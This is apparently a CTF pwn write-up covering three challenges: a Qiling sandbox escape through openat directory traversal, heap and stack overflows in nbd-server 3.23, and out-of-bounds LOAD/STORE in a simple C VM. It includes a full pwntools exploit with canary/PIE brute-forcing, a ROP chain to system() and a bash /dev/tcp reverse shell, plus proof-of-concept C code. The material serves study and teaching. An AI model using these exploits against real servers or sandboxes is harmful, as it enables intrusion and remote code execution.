该题只给了一个这样的脚本,用于读取用户传来的文件并将其放入麒麟沙箱(rootfs 为一个临时文件夹):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/env python3

import os
import sys
import base64
import tempfile
# pip install qiling==1.4.1
from qiling import Qiling

def my_sandbox(path, rootfs):
ql = Qiling([path], rootfs)
ql.run()

def main():
sys.stdout.write('Your Binary(base64):\n')
line = sys.stdin.readline()
binary = base64.b64decode(line.strip())

with tempfile.TemporaryDirectory() as tmp_dir:
fp = os.path.join(tmp_dir, 'bin')

with open(fp, 'wb') as f:
f.write(binary)

my_sandbox(fp, tmp_dir)

if __name__ == '__main__':
main()

题目要求:执行 /readflag 来获取 flag(注意不是直接读取 /flag)

2. qiling 框架环境配置

1
2
3
4
5
6
7
8
9
# 下拉麒麟框架
git clone git@github.com:qilingframework/qiling.git
cd qiling
# 在麒麟框架代码中放入题目附件
nano main.py
# 创建自己的 exp
touch exp.cpp

# 装个 PyCharm (别用 VSCode 调试)

3. 漏洞点

unicorn 框架是 qiling 框架的核心,qiling 还在该基础之上额外实现了很多功能,包括与 OS 的一些交互操作等等。qiling 自己实现了一系列 syscall 调用,并让沙箱程序通过这些 qiling syscall 来间接与 OS 进行交互。

但倘若这些 qiling syscall 内部存在缺陷,那么沙箱程序便可以通过这些 syscall 进行沙箱逃逸。

qiling 默认会在执行沙箱程序时,将沙箱程序内部调用的 syscall 日志输出:

image-20220124202600131

这样,通过字符串搜索 + 动态调试并结合信息搜索,我们可以得出这些 syscall in posix 的实现是位于 qiling/qiling/os/posix/syscall/ 文件夹下。接下来便是代码审计 + 调试了。

通过 被大佬带飞 审计与调试,我们可以发现在 ql_syscall_openat 函数中存在目录穿越漏洞。为了说明这个目录穿越,我们先简单的使用 open 函数来写个程序跑跑看看 qiling 的逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <bits/stdc++.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

using namespace std;

int main() {
int fd = open("../../../../../../../../proc/self/", O_RDONLY, 0);

return 0;
}

如上图,实际所调用的 syscall 不是 SYS_open,而是 SYS_openat。

当调用 ql_syscall_openat时,实际进行文件打开的操作位于函数 ql.os.fs_mapper.open_ql_file

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
def ql_syscall_openat(ql: Qiling, fd: int, path: int, flags: int, mode: int):
file_path = ql.os.utils.read_cstring(path)
# real_path = ql.os.path.transform_to_real_path(path)
# relative_path = ql.os.path.transform_to_relative_path(path)

flags &= 0xffffffff
mode &= 0xffffffff

idx = next((i for i in range(NR_OPEN) if ql.os.fd[i] == 0), -1)

if idx == -1:
regreturn = -EMFILE
else:
try:
if ql.archtype== QL_ARCH.ARM:
mode = 0

flags = ql_open_flag_mapping(ql, flags)
fd = ql.unpacks(ql.pack(fd))

if 0 <= fd < NR_OPEN:
dir_fd = ql.os.fd[fd].fileno()
else:
dir_fd = None

# 注意:在这里打开实际的文件,并将打开的文件描述符放入 fd array 中
ql.os.fd[idx] = ql.os.fs_mapper.open_ql_file(file_path, flags, mode, dir_fd)

regreturn = idx
except QlSyscallError as e:
regreturn = -e.errno

ql.log.debug(f'openat(fd = {fd:d}, path = {file_path}, mode = {mode:#o}) = {regreturn:d}')

return regreturn

继续读读 ql.os.fs_mapper.open_ql_file 函数源码。由于我们是尝试打开正常的文件,因此走下面 else 分支:

1
2
3
4
5
6
7
8
9
10
11
def open_ql_file(self, path, openflags, openmode, dir_fd=None):
if self.has_mapping(path):
self.ql.log.info(f"mapping {path}")
return self._open_mapping_ql_file(path, openflags, openmode)
else:
# 进入该分支
if dir_fd:
return ql_file.open(path, openflags, openmode, dir_fd=dir_fd)

real_path = self.ql.os.path.transform_to_real_path(path)
return ql_file.open(real_path, openflags, openmode)

如果不存在 dir_fd,则调用 transform_to_real_path 函数将传入的 path 转换为真正的 path,即绝对路径。而调用 transform_to_real_path 处理 path 的调用链如下所示:

1
2
3
4
5
6
convert_for_native_os, path.py:106
convert_path, path.py:114
transform_to_real_path, path.py:131
open_ql_file, mapper.py:106
ql_syscall_openat, fcntl.py:108
[....]

最终,qiling 会在 convert_for_native_os 函数中,过滤掉无效的目录穿越路径

1
2
3
4
5
6
7
8
9
10
11
@staticmethod
def convert_for_native_os(rootfs: Union[str, Path], cwd: str, path: str) -> Path:
_rootfs = Path(rootfs) # _rootfs : /tmp/tmpldhylv0h
_cwd = PurePosixPath(cwd[1:]) # _cwd : .
_path = Path(path) # _path : ../../../../../../../../proc/self

if _path.is_absolute():
return _rootfs / QlPathManager.normalize(_path)
else:
# 走该分支,返回 /tmp/tmpldhylv0h/proc/self
return _rootfs / QlPathManager.normalize(_cwd / _path.as_posix())

之后在上面的 open_ql_file 函数中,调用 ql_file.open 函数来与 OS 交互,而该函数是没有任何路径过滤的:

1
2
3
4
5
6
7
8
9
10
11
@classmethod
def open(cls, open_path: AnyStr, open_flags: int, open_mode: int, dir_fd: int = None):
open_mode &= 0x7fffffff

try:
# 传入进来的路径直接与 OS 交互,无任何过滤
fd = os.open(open_path, open_flags, open_mode, dir_fd=dir_fd)
except OSError as e:
raise QlSyscallError(e.errno, e.args[1] + ' : ' + e.filename)

return cls(open_path, fd)

这样看来,qiling openat syscall 没法路径穿越?非也。注意到 open_ql_file 函数中的这句代码:

1
2
3
4
5
6
7
8
9
10
11
12
def open_ql_file(self, path, openflags, openmode, dir_fd=None):
if self.has_mapping(path):
self.ql.log.info(f"mapping {path}")
return self._open_mapping_ql_file(path, openflags, openmode)
else:
# 如果存在 dir fd
if dir_fd:
# 则 path 将直接与 OS 进行交互,没有经过任何过滤
return ql_file.open(path, openflags, openmode, dir_fd=dir_fd)

real_path = self.ql.os.path.transform_to_real_path(path)
return ql_file.open(real_path, openflags, openmode)

因此如果我们在调用 qiling openat syscall 时传入一个恶意的目录穿透路径,那就可以进行目录穿透攻击

动手试一试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <bits/stdc++.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

using namespace std;

int main() {
int root_fd = open("/", O_RDONLY);
int mem_fd = openat(root_fd, "../../../../proc/self/mem", O_RDWR, 0);

return 0;
}

可以发现两个 SYS_openat 均执行成功,可以达到目录穿越的效果:

image-20220124212115135

目录穿越后,我们便可以尝试读写任意文件。

注意到 flag 只能通过执行 /readflag 来获取,因此我们可以尝试对 /proc/self/mem 进行读写。

该文件是进程的内存内容,修改该文件等同于直接修改该进程的虚拟地址空间,我们可以试着将自己的 shellcode 放入代码段中并执行。

需要注意的是,该文件不能直接读取,需要结合 /proc/self/maps 的映射信息来确定读的偏移值。即无法读取未被映射的区域。

4. 利用流程

利用流程如下:

  • 第一次执行:读取 /proc/self/exe,将远程机器上的 python 二进制文件 dump 到本地,获取其 GOT 表的相对偏移位置。
  • 第二次执行:读取 /proc/self/maps
    • 获取远程机器 python 程序的基地址,加上 GOT 相对偏移得到 GOT 表的绝对地址。
    • 获取远程机器上 python 程序的可执行代码段地址,将 shellcode 写入可执行代码段中。
    • 修改 GOT 表上的条目入口为 shellcode ,之后尝试触发所被修改 GOT 表的函数,使 python 执行 shellcode。

这题利用较为简单,exp 鸽了。

三、Who Moved My Block

1. wmmb 小叙

1
2
3
4
5
6
On Linux, network block device (NBD) is a network protocol that can be used to forward a block device (typically a hard disk or partition) from one machine to a second machine. As an example, a local machine can access a hard disk drive that is attached to another computer.
https://github.com/NetworkBlockDevice/nbd
nc 47.242.113.232 31337
attachment

Clone-and-Pwn, difficulty:baby

2. wmmb 环境搭建

查看题目提供的二进制开启的保护(好家伙,真就全开):

image-20220125115931741

下拉源码编译,

1
2
3
4
5
6
7
8
9
10
11
12
wget https://versaweb.dl.sourceforge.net/project/nbd/nbd/3.23/nbd-3.23.tar.gz
tar -xvf nbd-3.23.tar.gz
cd nbd-3.23
./configure --enable-debug
# 编译时启用 Full RELRO、Canary、NX 和 PIE
make "CFLAGS += -fstack-protector-all -pie -z now -z noexecstack"
# make install

./nbd-server 0.0.0.0:10809 ${PWD}/../WhoMovedMyBlock/container/rootfs.ext2
# 注意,直接执行 nbd-server 会在输出信息后,**前台进程** 立即转为后台进程,移交控制权给 shell
# 该进程仍然在后台执行,可以使用以下命令探查到
ps -ax | grep "nbd"

image-20220124222106716

调试时,如果不希望让该进程转为后台进程,则 make 时添加 flag:make "CFLAGS += -DNODAEMON"

3. 漏洞点

a. 漏洞寻找

远程机器上会架起一个 nbd-server,很明显我们需要向这个 nbd-server 发起一个连接,并尝试在发送的 payload 中构造一些恶意的字段。

那么我们就需要尝试去审计代码(代码位于 nbd-3.23/nbd-server.c),找到一条不受信任输入 -> 无过滤 -> 访问内存这样的一条途径。

那就首先从 accept 函数开始找起,它是整个 socket 连接的起点,通过它我们可以根据交叉引用找到处理连接的函数 handle_modern_connection

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
static void
handle_modern_connection(GArray *const servers, const int sock, struct generic_conf *genconf)
{
[...]
net = socket_accept(sock);
if (net < 0)
return;

if (!dontfork) {
// 重要!:注意这里会 fork 出一个子进程来单独处理新连接
pid = spawn_child(&commsocket);
if (pid) {
if (pid > 0) {
msg(LOG_INFO, "Spawned a child process");
g_array_append_val(childsocks, commsocket);
}
if (pid < 0)
msg(LOG_ERR, "Failed to spawn a child process");
close(net);
return;
}
/* Child just continues. */
}
[...]

// 连接协商
client = negotiate(net, servers, genconf);

[...]

msg(LOG_INFO, "Starting to serve");

// 开始处理
mainloop_threaded(client);
exit(EXIT_SUCCESS);
handler_err:
[...]
}

需要注意的是,默认情况下对于每个连接,server 都会 fork 一个新的子进程来单独处理。这个特性相当重要,因为我们可以利用这个特性来爆破 canary 和 PIE

image-20220125123033017

该函数会调用 negotiate 函数,并创建结构体 CLIENT,将新连接的 fd 赋给该 client,之后后续使用 socket_read(client, addr, len) 来从 client(即我们这边)读取数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
/**
* Do the initial negotiation.
*
* @param net The socket we're doing the negotiation over.
* @param servers The array of known servers.
* @param genconf the global options (needed for accessing TLS config data)
**/
CLIENT* negotiate(int net, GArray* servers, struct generic_conf *genconf) {
uint16_t smallflags = NBD_FLAG_FIXED_NEWSTYLE | NBD_FLAG_NO_ZEROES;
uint64_t magic;
uint32_t cflags = 0;
uint32_t opt;
// 创建并初始化 client 结构体
CLIENT* client = g_new0(CLIENT, 1);
// 将 socket fd 赋给 cleint
client->net = net;
client->socket_read = socket_read_notls;
client->socket_write = socket_write_notls;
client->socket_closed = socket_closed_negotiate;

assert(servers != NULL);
socket_write(client, INIT_PASSWD, 8);
magic = htonll(opts_magic);
socket_write(client, &magic, sizeof(magic));

smallflags = htons(smallflags);
socket_write(client, &smallflags, sizeof(uint16_t));
// 从 client 读取数据
socket_read(client, &cflags, sizeof(cflags));
cflags = htonl(cflags);
[...]
}

这样,我们可以全局搜索 socket_read的使用并对其进行审计。该函数使用的次数不多,只有不到 20次,因此人工审计还是很快的。通过审计可以找到3个漏洞点。

注意,审计时忽略了 TLS 相关的函数,因为远程不启用 TLS 交互。

b. 漏洞

0) codeql

author: sakura.

顺手写了一下codeql的数据流分析,这里考虑两种简单写法,一种是将网络端序转换的函数例如htol作为source,然后socket_read作为sink点检查size溢出。

另一种是将socket_read的第二个参数,这个接收用户输入的地方作为source点,然后将看能否污点到binary operation或者污点到source_read的第三个参数。

这里写了下后者的QL。

在写codeql的时候注意到QL的数据流分析其实是比较保守的,所以需要自己去连接一些边。

sakuraimg

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
/**
* @kind path-problem
*/

import DataFlow::PathGraph
import cpp
import semmle.code.cpp.ir.dataflow.TaintTracking

predicate htonlCallEdge(DataFlow::Node node1, DataFlow::Node node2) {
exists(FunctionCall fc |
// fc.getTarget().getName() = "htonl" and
node1.asExpr() = fc.getAnArgument() and
node2.asExpr() = fc
)
}

class MyDataFlowConfiguration extends TaintTracking::Configuration {
MyDataFlowConfiguration() { this = "MyDataFlowConfiguration" }

override predicate isSource(DataFlow::Node source) {
exists(FunctionCall fc | fc.getArgument(1) = source.asExpr() |
fc.getTarget().hasGlobalName("socket_read")
)
}

override predicate isSink(DataFlow::Node sink) {
sink.asExpr().getLocation().toString().matches("%nbd-server%") and
sink.asExpr() instanceof BinaryArithmeticOperation
// exists(FunctionCall fc | fc.getArgument(2) = sink.asExpr() |
// fc.getTarget().hasGlobalName("socket_read")
// )
}

override predicate isAdditionalTaintStep(DataFlow::Node node1, DataFlow::Node node2) {
htonlCallEdge(node1, node2)
}
}

from MyDataFlowConfiguration config, DataFlow::PathNode source, DataFlow::PathNode sink
where config.hasFlowPath(source, sink)
select sink.getNode(), source, sink, ""
1) handle_export_name

一个整数溢出所造成的堆溢出漏洞点位于 handle_export_name 函数中:

可以造成任意长度的堆溢出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
static CLIENT* handle_export_name(CLIENT* client, uint32_t opt, GArray* servers, uint32_t cflags) {
uint32_t namelen;
char* name;
int i;
// 从 client 读入 namelen
socket_read(client, &namelen, sizeof(namelen));
namelen = ntohl(namelen);
if(namelen > 0) {
// 这里没有做整数溢出判断,因此如果 namelen 为 0xffffffff,那么实际 malloc 的 size 为 0
// 因此这里会造成堆溢出
name = malloc(namelen+1);
name[namelen]=0;
socket_read(client, name, namelen);
} else {
name = strdup("");
}
[...]
}
2) handle_info

该函数中有两个漏洞点,其中一个还是和上面类似的堆溢出

还是可以造成任意长度的堆溢出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
static bool handle_info(CLIENT* client, uint32_t opt, GArray* servers, uint32_t cflags) {
uint32_t namelen, len;
char *name;
int i;
SERVER *server = NULL;
[...]
char buf[1024];
[...]

socket_read(client, &len, sizeof(len));
len = htonl(len);
// 1. 从远程读入 namelen
socket_read(client, &namelen, sizeof(namelen));
namelen = htonl(namelen);
if(namelen > (len - 6)) {
send_reply(client, opt, NBD_REP_ERR_INVALID, -1, "An OPT_INFO request cannot be smaller than the length of the name + 6");
socket_read(client, buf, len - sizeof(namelen));
}
if(namelen > 0) {
// 2. 没有判断便直接加1,执行 malloc(0) 造成堆溢出
name = malloc(namelen + 1);
// *. 缺点,需要做风水绕过 0xffffffff 的越界写,因为这里可能会造成 SIGSEGV。
name[namelen] = 0;
socket_read(client, name, namelen);
} else {
name = strdup("");
}
[...]
}

还有一个是溢出长度不受限的栈溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
static bool handle_info(CLIENT* client, uint32_t opt, GArray* servers, uint32_t cflags) {
uint32_t namelen, len;
char *name;
int i;
SERVER *server = NULL;
[...]
char buf[1024];
[...]

// 1. 从远程读入 len
socket_read(client, &len, sizeof(len));
len = htonl(len);
// 2. 从远程读入 namelen
socket_read(client, &namelen, sizeof(namelen));
namelen = htonl(namelen);
// 3. 进入 if 分支
if(namelen > (len - 6)) {
send_reply(client, opt, NBD_REP_ERR_INVALID, -1, "An OPT_INFO request cannot be smaller than the length of the name + 6");
// 4. 从 client 读入数据,由于 len 可控,因此可以造成栈溢出
socket_read(client, buf, len - sizeof(namelen));
}
if(namelen > 0) {
name = malloc(namelen + 1);
name[namelen] = 0;
socket_read(client, name, namelen);
} else {
name = strdup("");
}
[...]
}

4. 利用流程

  • 首先,连接远程,并手动构造恶意数据字段,触发栈溢出,爆破出 Canary 和 PIE,进而计算出$addr_{ELF-base}、addr_{GOT}、addr_{system}、addr_{gadgets}$等等。

  • leak 出这些后,我们需要将待执行的 cmd 传递给 system 函数。但我们发来的所有数据都存储在 heap 中,cmd 自然也不例外,因此我们还需要 leak 出堆地址。

    注意到 handle_info 函数栈上存放了一个 old r12 数据,指向 client,我们可以试着爆破这个栈上数据来获取堆地址。

    需要注意的是,连接远程时是使用 socket 进行通信,因此 cmd 不能是直接的 cat /flag,必须将所执行命令的 stdout 导入到我们连接的 socket fd 上。

    最简单的方式就是反弹 shell至我们的主机上。

  • 最后使用 ROP 一把梭。

5. Exploit

这题 exploit 有点意思,所以本人试着自己动手写了下:

注意,exp 中的偏移量等使用的是自编译的 nbd-server。

由于本人根据远程的保护,在编译时对等开启了相应的保护,因此实际上编译出的 nbd-server 和远程的 binary,其内部偏移几乎无差别,因此该 exp 只需简单改改部分偏移量即可解远程 binary。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
#! python3
from pwn import *
context(
terminal=['gnome-terminal', '-x', 'bash', '-c'],
os='linux',
arch='amd64',
encoding='latin',
endian="little", # 注意:网络端序是大端序
log_level="info",
)

'''
stack layout:

- 0x400 bytes buf
- 8 bytes unknown field
- canary
- 8 bytes unknown field
- old_rbx
- old_rbp
- old_r12 : client_addr
- old_r13
- old_r14
- old_r15
- return addr
'''

def send_new_request(payload):
p = remote("127.0.0.1", 10809)
cmd = b' '*0x25 + b"sleep 5; bash -c \"bash -i >& /dev/tcp/127.0.0.1/8001 0>&1\""

p.send(p32(0, endian="big")) # cflags
p.send(b"IHAVEOPT") # opt_magic
p.send(p32(7, endian="big")) # opt: NBD_OPT_GO
p.send(p32(len(payload) + 4, endian="big")) # len

namelen = len(payload)
p.send(p32(namelen, endian="big")) # namelen (> (len - 6))

p.send(payload) # payload

padding_len = namelen - len(cmd)
assert padding_len >= 0
p.send(cmd + b'\x00'*padding_len) # name 指针,用于存放执行 system 函数的命令参数

p.send(p16(0, endian="big")) # n_requests

return p

def exploit_stack_data(payload, target_len=8):
data = b""
while len(data) < target_len:
for ch in range(256):
p = send_new_request(payload + data + p8(ch))
p.clean()

log.info("Getting stack mem: " + \
hex(int.from_bytes(data,byteorder='little')) + \
", ch: " + str(ch))
try:
p.recv(timeout=1)
p.close()
data += p8(ch)
break
except EOFError:
p.close()

return data

if __name__ == '__main__':
b2i = lambda addr : int.from_bytes(addr,byteorder='little')

if True:
canary = p64(0x5af9ebae046ded00)
client_addr = p64(0x555cbd36c9b0)
ret_addr = p64(0x555cbbb901b7)
else:
canary = None
client_addr = None
ret_addr = p8(0xb7) # 手动指定最后一个字节,提高爆破精度
ret_addr_offset = 0x91B7

if canary is None:
canary = exploit_stack_data(b'a'*0x408, target_len=8)
log.info("=================================")
log.success("canary: " + hex(b2i(canary)))
input()

if client_addr is None:
client_addr = exploit_stack_data(b'a'*0x408 + canary + b'b'*0x18, target_len=8)
log.info("=================================")
log.success("client addr: " + hex(b2i(client_addr)))
input()

if len(ret_addr) < 8:
ret_addr += exploit_stack_data(
b'a'*0x408 + canary + b'b'*0x18 + client_addr + b'c'*0x18 + ret_addr, target_len=7)
log.info("=================================")
log.success("ret addr: " + hex(b2i(ret_addr)))
input()

elf = ELF("./nbd-server")
elf.address = b2i(ret_addr) - ret_addr_offset
log.success("ELF base addr: " + hex(elf.address))
assert elf.address & 0xfff == 0

elf_rop = ROP(elf)
elf_rop.system(b2i(client_addr) + 0x180)
print(elf_rop.dump())

log.info("Try getting reverse shell")
p = send_new_request(b'a'*0x408 + canary + b'b'*0x18 + client_addr + b'c'*0x18 + elf_rop.chain())
p.interactive()

坑点主要在于爆破。整个 exp 中爆破是重中之重,但在低地址字节处的爆破容易产生误报,因此最好多爆破几次。需要爆破的数据主要有以下三点:

  • canary 爆破:错1个字节就直接 abort,这在爆破上是件好事,最容易爆破的数据。

  • ret address 爆破:需要手动指定最低地址的那个字节,以提高爆破精度。低地址 1 字节的值可以通过 IDA 得知(注意页对齐大小为 0x1000)。

  • client address 爆破:由于调用 handle_info 函数时,调用者会将 client 的地址压入栈上(old r12),因此在离开 handle_info 之前,需要执行pop r12指令。我们可以尝试对该 r12 进行爆破,以获取到 client 地址,并根据相对偏移获取存储 system 命令的 name 内存地址。

    注意点

    • 由于程序中较多使用 socket_read 函数,该函数会使用到 client 上的函数指针,因此 client 地址哪怕偏移一个字节都会造成 SIGSEGV,这在爆破上是一件好事。
    • 但是在实际爆破过程中,client addr 是比较容易误报的,需要仔细甄别。

四、SVME

1. SVME 小叙

1
2
3
4
5
Professor Terence Parr has taught us how to build a virtual machine. Now it's time to break it!
nc 47.243.140.252 1337
attachment

Clone-and-Pwn, Virtual Machine, difficulty:baby

一个简易的开源 VM,baby 难度。

2. SVME 环境搭建

题目给了一个 libc-2.31.so 附件和 main.c :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdbool.h>
#include <unistd.h>
#include "vm.h"

int main(int argc, char *argv[]) {
int code[128], nread = 0;
while (nread < sizeof(code)) {
int ret = read(0, code+nread, sizeof(code)-nread);
if (ret <= 0) break;
nread += ret;
}
VM *vm = vm_create(code, nread/4, 0);
vm_exec(vm, 0, true);
vm_free(vm);
return 0;
}

执行以下命令配置环境:

1
2
3
4
5
git clone git@github.com:parrt/simple-virtual-machine-C.git
cp ./main.c /simple-virtual-machine-C-master/src/vmtest.c
cd simple-virtual-machine-C-master
cmake .
make

3. 漏洞点

首先,我们可以在 #L40 看到 VM 结构体的布局:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
typedef struct {
int returnip;
int locals[DEFAULT_NUM_LOCALS];
} Context;

typedef struct {
int *code;
int code_size;

// global variable space
int *globals;
int nglobals;

// Operand stack, grows upwards
int stack[DEFAULT_STACK_SIZE];
Context call_stack[DEFAULT_CALL_STACK_SIZE];
} VM;

根据 main.c 的代码,可以得知创建出的 VM 结构体,其 code 字段指向栈globals 字段指向堆

而在 opcode LOAD 和 STORE 的处理中,我们可以看到,这里可以 相对 VM 结构体(注意结构体在堆中) 偏移任意字节进行读写。

1
2
3
4
5
6
7
8
9
case LOAD: // load local or arg
offset = vm->code[ip++];
vm->stack[++sp] = vm->call_stack[callsp].locals[offset];
break;
[...]
case STORE:
offset = vm->code[ip++];
vm->call_stack[callsp].locals[offset] = vm->stack[sp--];
break;

同时,opcode GLOAD 和 GSTORE 可以让我们相对 globals 指针所指向的内存偏移任意字节进行读写。

1
2
3
4
5
6
7
8
case GLOAD: // load from global memory
addr = vm->code[ip++];
vm->stack[++sp] = vm->globals[addr];
break;
case GSTORE:
addr = vm->code[ip++];
vm->globals[addr] = vm->stack[sp--];
break;

这样,我们便可以利用这些 opcode 来泄露指针并任意读写内存,进而修改 libc 上的 free hook,在 VM 退出时劫持控制流。

4. 利用流程

  • 使用 STORE,让 VM->stack 向低地址处移动,读取 globals 和 code 的指针值,并保存 vm->call_stack 上,之后恢复 VM->stack

    恢复时需要覆写 globals 和 code 指针,注意需要覆写正确。

  • 使用任意地址读,读取栈上的 libc_start_main return address,计算出 libc base、free_hook 和 one_gadget addr。

  • 使用任意地址写,修改 free_hook 上的地址条目为 one_gadget,劫持控制流获取 shell。

这题利用较为简单,exp 鸽了。

  • Copyrights © 2020-2025 Kiprey
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~